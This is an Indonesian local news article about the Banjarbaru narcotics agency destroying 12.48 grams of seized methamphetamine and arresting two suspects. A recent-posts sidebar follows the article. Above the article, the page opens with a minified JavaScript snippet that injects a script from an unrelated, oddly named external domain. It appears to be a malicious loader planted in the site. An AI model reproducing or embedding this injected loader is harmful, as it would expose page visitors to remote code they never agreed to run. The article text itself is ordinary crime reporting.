(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

BNN Banjarbaru Blender 12,48 Gram Sabu, Dua Tersangka Dihadirkan


BANJARBARU, Tak berselang sebulan semenjak pemusnahan barang bukti kepemilikan sabu-sabu dengan tersangka AM, atas kepemilikan sabu-sabu 5,76 gram, kembali BNN (Badan Narkotika Nasional) Banjarbaru memusnahkan barang bukti sabu-sabu seberat 12,48 gram yang diamankan dari dua tersangka inisial Y dan GN.

Kepala Seksi Pemberantasan BNN Banjarbaru AKP Abdul Mufid menyampaikan, barang bukti yang dimusnahkan merupakan hasil operasi yang dilakukan pihak BNN Banjarbaru bekerjasama dengan Polres Banjarbaru pada 15 Februari 2018 di dua tempat berbeda.

Mufid menjelaskan, penangkapan bermula dari tertangkapnya Y di Jalan Bina Murni Guntung Jingah, Loktabat Utara, Kecamatan Banjarbaru Utara. Penangkapan Y bermula dari penyamaran petugas yang menyamar sebagai pembeli, saat transaksi inilah petugas menciduk Y.  Petugas menangkap Y karena telah memperjualbelikan 1 paket narkotika jenis sabu-sabu dengan berat kotor 0,42 gram dan berat bersih 0,10 gram.

Pengembangan berlanjut kepada tersangka GN. Di hari yang sama sekitar pukul 17.00 Wita, petugas melakukan penangkapan tersangka GN. GN dijemput dari rumahnya di Jalan A Yani Km 58 Desa Banua Anyar, Danak Salak, Kecamatan Astambul, Kabupaten Banjar.

“Tersangka GN pada saat penangkapan sempat melarikan diri dengan cara melompat keluar jendela rumah.  Setelah dilakukan pengejaran oleh petugas, akhirnya GN berhasil ditangkap di belakang rumah,” katanya.

Dari hasil penggeledahan, petugas menemukan di badan GN barang bukti 1 bungkus rokok Sampoerna 16 yang berisi paket sabu-sabu dengan berat bersih 4,74 gram.  Satu dompet kecil warna abu-abu yang berisi beberapa paket sabu-sabu yang memiliki berat berbeda dengan total berat bersih 2,84 gram.

Foto : abdullah

“Jumlah keseluruhan berat barang bukti yang didapatkan dari tersangka GN dengan berat kotor 12,06 gram dan berat bersih 7,58 gram,” ucap Mufid saat kegiatan pemusnahan barang bukti di Kantor BNN Banjarbaru, Senin (26/2).

Mufid menambahkan, pelaku dijerat dengan tindak pidana penyalahgunaan dan peredaran gelap narkotika golongan I jenis sabu-sabu, sebagaimana dimaksud dalam pasal 114 ayat (2) UU RI No 35 Tahun 2009, tentang Narkotika dengan ancaman pidana dengan pidana mati, pidana seumur hidup, atau pidana penjara paling singkat 6 tahun dan paling lama 20 tahun dan denda maksimum sebagaimana dimaksud pada ayat (1) ditambah 1/3.

Hadir dalam pemusnahan Kapolsek Banjarbaru Kota Kompol Purbo Raharjo, Kasat Narkoba Polres Banjarbaru IPTU Zaenuri dan Kasipidum Kejari Banjarbaru Imam Cahyono, serta Majelis Ulama Indonesia Banjarbaru. (abdullah)

Reporter : Abdullah
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Polisi Ungkap Kasus Curanmor di Rusunawa Banjarmasin, 3 Orang Ditangkap

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More

1 jam ago

Keseruan Ragam Lomba Meriahkan HUT ke-25 DWP

KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More

16 jam ago

Peringatan HUT ke-79 PGRI di HSU, Pj Bupati: Tugas Mulia Mencerdaskan Bangsa

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More

17 jam ago

Catatan ATCS Tugu Adipura, Pengendara Merasa Malah Ada Penumpukan

Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More

18 jam ago

Top up Voucher Mobile Legend Sekarang Jadi Lebih Mudah dengan BRImo

KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More

19 jam ago

Umi Pipik Isi Tausiah di Talk Show dan Edukasi Pemberdayaan Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More

19 jam ago

This website uses cookies.